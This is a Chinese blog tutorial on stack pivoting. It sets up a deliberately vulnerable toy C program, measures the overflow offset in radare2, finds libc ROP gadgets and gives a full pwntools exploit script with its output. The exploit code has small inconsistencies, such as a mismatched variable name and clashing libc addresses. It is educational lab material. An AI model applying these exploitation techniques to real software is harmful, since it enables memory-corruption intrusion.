一个简单实践理解栈空间转移

VSole2023-03-31 10:12:03

1 what

stack pivoiting是一种栈空间转移技术。

2 why

有时候缓冲区有长度限制,不利于在栈上配置rop gadget(空间不够)!

3 how

3.1 pop rsp gadget

这种情形比较少见,遇到了相当幸运。

3.2 xchg , rsp

pop                 <=== return pointervalue>xchg , rsp

3.3 leave;ret

leave相当于:

mov rsp,rbppop rbp

加上ret就等于:

mov rsp,rbppop rbppop rip

覆盖rbp,然后栈中的rip覆盖为Addr(leave;ret),当接收数据的函数返回时候,rsp指向target,target新栈中保留了待执行shellcode。

4 漏洞程序 vuln

// gcc source.c -o vuln -no-pie#include  void winner(int a, int b) {    if(a == 0xdeadbeef && b == 0xdeadc0de) {        puts("Great job!");        return;    }    puts("Whelp, almost...?");} void vuln() {    char buffer[0x60];    printf("Try pivoting to: %p", buffer);    fgets(buffer, 0x80, stdin);} int main() {    vuln();    return 0;}

4.1 vuln脆弱性

存在输入性栈溢出,buffer大小0x60。

fgets存在输入大小限制,0x80上界。

程序编译保护存在,nx。

─$ checksec --file=./vuln[*] '/home/kali/exploits/spivot/vuln'  Arch:     amd64-64-little  RELRO:    Partial RELRO  Stack:    No canary found  NX:       NX enabled  PIE:      No PIE (0x400000)

4.2 vuln脆弱性利用目标

rip指向 winner函数,获取winner函数的执行权

4.3 vuln利用步骤

4.3.1 测算rip的偏移

① 生成de bruijn串

└─$ ragg2 -P 200 -rAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA

② fuzz vuln

┌──(kali㉿kali)-[~/exploits/spivot]└─$ r2 -d -A vuln[x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze function calls (aac)[x] Analyze len bytes of instructions for references (aar)[x] Finding and parsing C++ vtables (avrr)[x] Skipping type matching analysis in debugger mode (aaft)[x] Propagate noreturn information (aanr)[ ] Use -AA or aaaa to perform additional experimental anal[x] Use -AA or aaaa to perform additional experimental analysis.[0x7f93b6df79c0]> dcTry pivoting to: 0x7ffcd3256000AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0

③ 确定rip偏移

[0x004011c5]> dr rbp0x4169414168414167[0x004011c5]> wopO `dr rbp`96

所以,rip的偏移是104 = 96 + 8

④ 猜测栈基本布局

stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |

因为fgets输入长度限制是0x80==128,而且,栈不可执行shellcode,所以,可以覆盖的区域只有 rip,x1,x2 三个变量的地址,且只能用rop gadget方式。

4.3.2 寻找可用gadget

pop rdi

──(kali㉿kali)-[~/exploits/spivot]└─$ ROPgadget --binary vuln  | grep   'pop rdi'

很不幸,vuln程序中找不到类似pop rdi | pop rsi等指令,只能去libc找一个用用。

libc找gadget的前提是ASLR已经关闭:

──(kali㉿kali)-[~/exploits/spivot]└─$ cat /proc/sys/kernel/randomize_va_space0

ROPgadget寻找libc

```

└─$ ldd vuln

linux-vdso.so.1 (0x00007ffff7fc9000)libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dce000)/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)

┌──(kali㉿kali)-[~/exploits/spivot]

└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi ; ret'

0x0000000000027725 : pop rdi ; ret

0x0000000000065b7d : pop rdi ; ret 0x16

所以,**POP_RDI = 0x00007f85682b0000 + 0x027725** 2. pop rsi

┌──(kali㉿kali)-[~/exploits/spivot]

└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsi ; ret'

0x0000000000028ed9 : pop rsi ; ret

0x0000000000085336 : pop rsi ; retf

所以,**POP_RSI = 0x00007f85682b0000 + 0x028ed9** 3. pop rsp

┌──(kali㉿kali)-[~/exploits/spivot]

└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsp'

...

0x00000000000fd999 : pop rsp ; jmp 0xfd8e0

0x00000000000ff3b6 : pop rsp ; jmp 0xff1c0

0x00000000000db8b8 : pop rsp ; jmp 0xffffffff8552b8cd

...

0x00000000000273aa : pop rsp ; ret

所以,**POP_RSP = 0x00007f85682b0000 + 0x0273aa** ### 4.3.3 规划栈布局 - **old_stack ::= |+00 buffer | +96 rbp |  +104 rip | +112  x1 |  +120 x2 | +128 x3 |** new_stack ::= | 新栈布局     ||  :---:      || +00 POP_RDI         || +08 0xdeadbeef   || +16 POP_RSI      || +24 0xdeadc0de   || +32 winner_addr  || ...              || +104 POP_RSP (rip位置)    || +112 Buffer_addr | ### 4.3.4 pwntools编写利用代码

from pwn import *

elf = context.binary = ELF('./vuln')

p = process()

获取buffer_addr

p.recvuntil('to: ')

py = int(p.recvline(),16)

log.info(f'leak buffer addr: {hex(buffer_addr)}')

LIBC = 0x00007ffff7dce000

POP_RSP = LIBC + 0x0273aa

POP_RDI = LIBC + 0x027725

POP_RSI = LIBC + 0x028ed9

设置payload

payload = flat(POP_RDI,0xdeadbeef,POP_RSI,0xdeadc0de,elf.sym['winner'])

payload = payload.ljust(104,b'A')

payload += flat(POP_RSP,buffer_addr)

send payload

p.sendline(payload)

print(p.recvline())

### exploit output

└─$ python exploit.py

[] '/home/kali/exploits/spivot/vuln'

Arch: amd64-64-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x400000)

[+] Starting local process '/home/kali/exploits/spivot/vuln': pid 1171678

[] leak buffer addr: 0x7fffffffe280

[] Paused (press any to continue)

b'Great job!'

[] Stopped process '/home/kali/exploits/spivot/vuln' (pid 1171678)

```

rip
本作品采用《CC 协议》,转载必须注明作者和本文链接
Ripper 的传播机制借鉴自 Mirai:样本中内置 Telnet 弱口令扫描模块,扫描模块会把扫描结果上报给 Report Server,攻击者会根据上报的扫描结果,控制 Loader 向失陷主机植入 Ripper 的木马文件。
来自JSOF的网络安全研究人员刚刚公布了19个名为Ripple20的漏洞,这些漏洞正在影响Treck开发的TCP/IP协议栈。实际上,诸如Cisco Cyber Vision和Cisco工业安全设备ISA3000之类的产品以及Cisco Talos的 Snort签名将有助于识别网络中的Ripple20漏洞并补救风险。一些Ripple20漏洞也会影响Zuken Elmic维护的TCP/IP栈。其中有4个至关重要,CVSS严重性等级得分超过9。Cisco Cyber Vision是专门设计用于检测针对IoT / OT设备的攻击的解决方案。这将可以遏制潜在的攻击,并且不会扩散到整个网络。
一般在获取靶机的初始shell后,会进行提权,可以先查看home目录下的用户,因为有可能需要这个用户来做跳板去获取root权限;然后可以查看有没有sudo滥用,定时任务,suid文件,或者home目录下另外一个用户时宿主的文件等等,但是,往往有一个很容易被忽略,历史命令的查看。
国土安全部和CISA ICS-CERT将发布一份重要的安全咨询警告,内容是关于十几个新发现的漏洞,这些漏洞影响了全球500多家供应商生产的数十亿互联网连接设备。被称为“Ripple20”的19个漏洞存在于Treck开发的低级TCP/IP软件库中,如果将其武器化,可以让远程攻击者完全控制目标设备,而无需任何用户交互。
Orange 西班牙公司的 RIPE 账号被盗,攻击者将其网络核心配置(BGP和RPKI)改为无效,导致全国互联网中断了大约 3 小时;据悉,攻击者在信息窃取软件的数据集中发现了此次被利用的账号(未启用双因子认证),为了“找乐子”实施了此次攻击。
值得指出的是,即使是IS-IS协议,也要流经协议栈的网络层,而网络层同样有IS-IS路由表,网络层同样要依赖于这个IS-IS路由表提供路由服务。不工作在TCP/IP协议架构之上的IS-IS,查IS-IS路由表。路由协议不能没有路由表,但是路由表可以没有路由协议。这里进程之间的通信是指进程使用TCP/IP作为通信的桥梁。需要指出的是,路由协议产生的路由表,并不都是可以进入TCP/IP的全局路由表。
传输介质简介
企业设备安全公司Forescout与其他企业合作进行了名为Project Memoria的调查研究,发现了Ripple20、AMNESIA:33、NUMBER:JACK、NAME:WRECK、INFRA:HALT和NUCLEUS:13等多个漏洞。 TCP/IP协议栈广为各种通信设备所用,深度融入媒体产品、工业控制系统(ICS)、打印机、交换机等设备。 研究人员在14个TCP/IP协议栈中发现了
实战靶场:MERCY V2
2022-01-07 16:55:00
一、知识点和漏洞 1.知识点 1)Samba文件共享服务 2)端口敲门 3)NC反弹shell 4)制作可以反弹shell的木马文件 5)Suid提权 2.漏洞 1)RIPS 0.53的本地文件包含漏洞 2)操作系统层的脏牛提权漏洞【这题里面有点鸡肋】 二、整体环境和工具
VSole
网络安全专家